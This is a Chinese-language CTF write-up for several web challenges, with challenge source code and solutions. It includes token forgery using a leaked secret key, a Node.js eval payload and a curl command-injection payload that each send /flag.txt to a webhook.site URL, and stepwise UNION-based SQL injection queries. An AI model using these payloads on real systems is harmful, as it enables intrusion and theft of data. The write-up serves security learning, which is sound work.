官方wp地址
韩国老外的wp
Blackbox
这里的话访问会报错,就是个文件包含,然后可以尝试用伪协议进行读取文件内容
扫目录的时候发先git源码泄露 于是使用githack工具去看能否读取到一些东西
读取到了文件,然后并下载下来了
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $resource = 'home' ;require './config.php' ;require './util.php' ;set_include_path (INCLUDE_DIR);if (isset ($_GET ['page' ])) { $resource = $_GET ['page' ]; include ($_GET ['page' ] . '.php' ); } else { include ('home.php' ); } ?>
util.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php function db_login (string $username , string $password ) { $db = new SQLite3 (DB_FILE); $statement = $db ->prepare ('SELECT key FROM users WHERE username=:uname AND password=:passwd;' ); $statement ->bindValue (':uname' , $username ); $statement ->bindValue (':passwd' , $password ); return $statement ->execute (); } function try_auth (string $username , string $password ) { $hash_password = hash ('sha256' , $password ); return db_login ($username , $hash_password )->fetchArray (); } function generate_guest_token ( ) { $data = array ('username' =>'guest' , 'user_key' =>bin2hex (random_bytes (8 )), 'admin' =>false ); return generate_token ($data ); } function generate_admin_token (string $username , string $user_key ) { $data = array ('username' =>$username , 'user_key' =>$user_key , 'admin' =>true ); return generate_token ($data ); } function generate_token (array $data ) { $b64json = base64_encode (json_encode ($data )); $hmac = hash ('md5' , SECRET_KEY . $b64json ); return $b64json . '.' . $hmac ; } function verify_token (string $token ) { $token_data = explode ('.' , $token ); if (hash ('md5' , SECRET_KEY . $token_data [0 ]) == $token_data [1 ]) { return true ; } return false ; } function is_admin (string $token ) { if (verify_token ($token )) { $db = new SQLite3 (DB_FILE); $data = json_decode (base64_decode (explode ('.' , $token )[0 ]), TRUE ); $username = $data ['username' ]; $user_key = $data ['user_key' ]; $admin = $data ['admin' ]; $statement = $db ->prepare ('SELECT * FROM users WHERE username=:uname AND key=:ukey;' ); $statement ->bindValue (':uname' , $username ); $statement ->bindValue (':ukey' , $user_key ); $result = $statement ->execute (); if ($result != false && $result ->fetchArray () != false && $admin == true ) { return true ; } return false ; } } ?>
因为index.php里面有config.php所以就下载下来查看
config.php
1 2 3 4 5 6 <?php const APP_NAME = 'Blackbox' ;const INCLUDE_DIR = './templates/' ;const DB_FILE = '../sqlite/site-data.db' ;const SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8' ;?>
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php if (!isset ($_COOKIE ['auth_token' ])) { setcookie ('auth_token' , generate_guest_token (), time () + (86400 *30 ), '/' ); } else if (is_admin ($_COOKIE ['auth_token' ])) { header ('Location: ?page=admin' ); die (); } if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { $result = try_auth ($_POST ['username' ], $_POST ['password' ]); if ($result != false ) { setcookie ('auth_token' , generate_admin_token ($_POST ['username' ], end ($result )), time () + (86400 *30 ), '/' ); header ('Location: ?page=admin' ); die (); } } ?> <?php include (INCLUDE_DIR . 'header.php' ); ?> <main> <div class ="login "> <center > <form action ="?page =login ", method ="post "> <input class ="username " placeholder ="Username " name ="username " id ="username "></input ><br > <input type ="password " class ="password " placeholder ="Password " name ="password " id ="password "></input ><br > <button class ="submit ">Login </button > </form > </center > </div > </main > <?php include (INCLUDE_DIR . 'footer .php '); ?>
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (!isset ($_COOKIE ['auth_token' ]) || !is_admin ($_COOKIE ['auth_token' ])) { header ('Location: ?page=login' ); die (); } ?> <?php include (INCLUDE_DIR . 'header.php' ); ?> <center> <h1><?php include ('/flag.txt' ); ?> </h1> </center> <?php include (INCLUDE_DIR . 'footer.php' ); ?>
结合上面的代码就可以发现只要auth_token
能判定为管理员的话,就可以跳转到?page=admin
所以接先去login页面拿到cookie
1 eyJ1c2VybmFtZSI6Imd1ZXN0IiwidXNlcl9rZXkiOiJlZGEzNTBkYjFiNzk3NjRiIiwiYWRtaW4iOnRydWV9.fab86457458d9707b051bc8bb7619e8c
然后进行解码
1 {"username":"guest","user_key":"eda350db1b79764b","admin":true}
这里的话伪造的话就很关键了,user_key的话要成功伪造成admin的user_key,所以git源码泄露的数据库就有用了
查看这个数据库就会发现有个admin的user_key
然后进行修改使用
然后结合util.php里的代码进行使用
就是生成加密字符串后面的签名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php const SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8' ;function generate_token (array $data ) { $b64json = base64_encode (json_encode ($data )); $hmac = hash ('md5' , SECRET_KEY . $b64json ); return $b64json . '.' . $hmac ; } function verify_token (string $token ) { $token_data = explode ('.' , $token ); echo hash ('md5' , SECRET_KEY . $token_data [0 ]); if (hash ('md5' , SECRET_KEY . $token_data [0 ]) == $token_data [1 ]) { return true ; } return false ; } $a = "eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9rZXkiOiIyNmNlYjY4NWY0NmU2ZDIyIiwiYWRtaW4iOnRydWV9.58fed7114a165282749650cf5458d31f" ;var_dump (verify_token ($a ));
然后就可以拿到flag了
Migraine 题目
题目给了个源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 const path = require ('path' );const express = require ("express" );const app = express ();const port = 8000 ;app.use (express.json ()); process.on ('uncaughtException' , (err, origin ) => { console .log (err); }); app.get ("/" , function (req, res ) { res.sendFile (path.join (__dirname+'/static/index.html' )); }); app.post ("/" , function (req, res ) { var src = req.body ['src' ]; if (src.match (/[A-Za-z0-9]/ ) != null ) { res.status (418 ).end ('Bad character detected.' ); return ; } try { eval (src); } catch (err) { res.status (418 ).end ('Error on eval.' ); return ; } res.status (200 ).send ('Success!' ); return ; }); app.listen (port, function ( ) { console .log (`Example app listening on port ${port} !` ); });
是一个javascript的命令执行,把数字字母全给过滤掉了,就是无数字字母的rce
这里的话就得使用jsfuck进行绕过了
1 process.mainModule .require ("https" ).get ("https://webhook.site/24e1c10f-df56-4421-8d89-a7ea91aa8610/?flag=" +process.mainModule .require ("fs" ).readFileSync ("/flag.txt" ).toString ())
这个代码和ctfshow nodejs 里面的那个一样, 下次遇到的话可以进行参考
如何进行jsfuck编码,然后到题目里运行,然后在webhook.site就能接收到flag了
connect 题目
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import flaskimport osdef escape_shell_cmd (data ): for char in data: if char in '&#;`|*?~<>^()[]{}$\\' : return False else : return True app = flask.Flask(__name__) @app.route('/' , methods=['GET' ] ) def index (): return flask.render_template('index.html' ) @app.route('/api/curl' , methods=['POST' ] ) def curl (): url = flask.request.form.get('ip' ) if escape_shell_cmd(url): command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'" output = os.popen(command).read().strip() if 'HTTP' not in output: return flask.jsonify({'message' : 'Error: No response' }) return flask.jsonify({'message' : output}) else : return flask.jsonify({'message' : 'Illegal Characters Detected' }) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8001 )
这里的考点就是curl命令 的使用
这里先随便拿个题目的网站进行测试,然后抓包
发现可以
然后测试一下看能否使用 ;
进行分割
发现可以
然后就用题目给的payload来打了
先监听端口
payload
1 ip=http://localhost;curl+-d@flag.txt+https://webhook.site/24e1c10f-df56-4421-8d89-a7ea91aa8610
这里的话用的是专门接收http请求头的一个网站 https://webhook.site/
这里的话用自己的vps不知道为啥行不通
这里的-d是使用POST请求,因为GET请求的话不会返回flag
Lost and Forgotten 我好像忘记了我最近写的文章的密码。请问有没有什么办法可以恢复。
考察的是sql注入
输入下面的内容的话会把wp全部给输出出来,那么我们就怀疑是不是sql注入
输入下面的语句
1 ' or 1 union select 1,2,3,4,5,6#
返回这结果,那么就说明了是sql注入了,并且在123出都有回显,那么我们就在这几个地方进行sql注入了
1 ' or 1 union select 1,2,(select database()),4,5,6#
查出数据名
接着查表名
1 ' or 1 union select 1,2,(select table_name from information_schema.tables where table_schema = "writeups"),4,5,6#
查出表名,接着查列名
1 ' or 1 union select 1,2,(select column_name from information_schema.columns where table_schema=database() and table_name="articles" limit 1,1),4,5,6#
limit 1,1查出来一个,那么接着往后查
最多能查到limit 5,1 之后的就查不到了,那么我们就挨个对列进行内容的读取
1 ' or 1 union select 1,2,access_code,4,5,6 from articles #
最后查到加密后的flag
最好放到secret code里面就可以解出flag了
Web LTO
main.rs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 use actix_files::NamedFile;use actix_multipart::Multipart;use actix_web::cookie::Cookie;use actix_web::http::StatusCode;use actix_web::{get, post, App, HttpRequest, HttpResponse, HttpServer, Responder, Result };use futures_util::stream::TryStreamExt;use futures_util::StreamExt;use rand::{thread_rng, RngCore};use std::collections::hash_map::DefaultHasher;use std::fs::create_dir_all;use std::hash::{Hash, Hasher};use std::io::{ErrorKind, SeekFrom};use std::path::PathBuf;use std::str ::FromStr;use tokio::fs::{remove_file, write, File, OpenOptions};use tokio::io::AsyncReadExt;use tokio::io::{copy, AsyncSeekExt};use tokio_util::io::StreamReader;async fn handle_multipart (user_dir: &PathBuf, mut multipart: Multipart) -> Result <()> { let mut count = 0 ; while let Some (field) = multipart.try_next ().await ? { count += 1 ; if count > 16 { return Err (std::io::Error::new ( ErrorKind::InvalidInput, "Too many files provided in input!" , ) .into ()); } let content_disposition = field.content_disposition (); if let Some (filename) = content_disposition.get_filename () { let mut hasher = DefaultHasher::new (); filename.hash (&mut hasher); let mut tmp = PathBuf::from_str ("tmp/" ).unwrap (); tmp.push (format! ("{:016x}" , hasher.finish ())); let mut file = OpenOptions::new () .read (true ) .write (true ) .create (true ) .open (&tmp) .await ?; let mut freader = StreamReader::new (field.map (|result| { result.map_err (|err| std::io::Error::new (ErrorKind::Other, err)) })) .take (1 << 16 ); copy (&mut freader, &mut file).await ?; let destination = user_dir.join ( tmp.file_name () .expect ("Must be present based on filename creation." ), ); file.seek (SeekFrom::Start (0 )).await ?; let mut orig = file; let mut dest = File::create (&destination).await ?; copy (&mut orig, &mut dest).await ?; drop (orig); drop (dest); remove_file (tmp).await ?; } else { return Err (std::io::Error::new ( ErrorKind::InvalidInput, "Missing filename from provided file." .to_string (), ) .into ()); } } Ok (()) } #[post("/" )] async fn upload (req: HttpRequest, multipart: Multipart) -> Result <HttpResponse> { if let Some (user) = req.cookie ("whoami" ) { let mut hasher = DefaultHasher::new (); user.value ().hash (&mut hasher); let user_dir = PathBuf::from (format! ("user/{:016x}" , hasher.finish ())); create_dir_all (&user_dir)?; if let Err (e) = handle_multipart (&user_dir, multipart).await { write (user_dir.join ("error" ), e.to_string ()).await ?; } let mut body = Vec ::new (); let mut tar = tar::Builder::new (&mut body); tar.append_dir_all ("submitted" , user_dir)?; drop (tar); Ok (HttpResponse::build (StatusCode::OK) .content_type ("application/tar" ) .insert_header (("Content-Disposition" , "attachment" )) .body (body) .respond_to (&req) .map_into_boxed_body ()) } else { Ok (HttpResponse::new (StatusCode::UNAUTHORIZED)) } } #[get("/" )] async fn index (req: HttpRequest) -> Result <HttpResponse> { let mut res = NamedFile::open ("www/index.html" )?.into_response (&req); if req.cookie ("whoami" ).is_none () { let mut rng = thread_rng (); let mut ident = [0u8 ; 256 ]; rng.fill_bytes (&mut ident); res.add_cookie ( &Cookie::build ("whoami" , hex::encode (ident)) .http_only (true ) .finish (), )?; } Ok (res) } #[actix_web::main] async fn main () -> std::io::Result <()> { let addr = std::env::var ("SERVER_ADDR" ) .expect ("Couldn't find an appropriate server address; did you set SERVER_ADDR?" ); HttpServer::new (|| App::new ().service (index).service (upload)) .bind_uds (addr)? .run () .await }
详解wp 这里不太想看就不写了
Flag Fetcher 题目
两道题都是rust
详细wp
接下来就不写了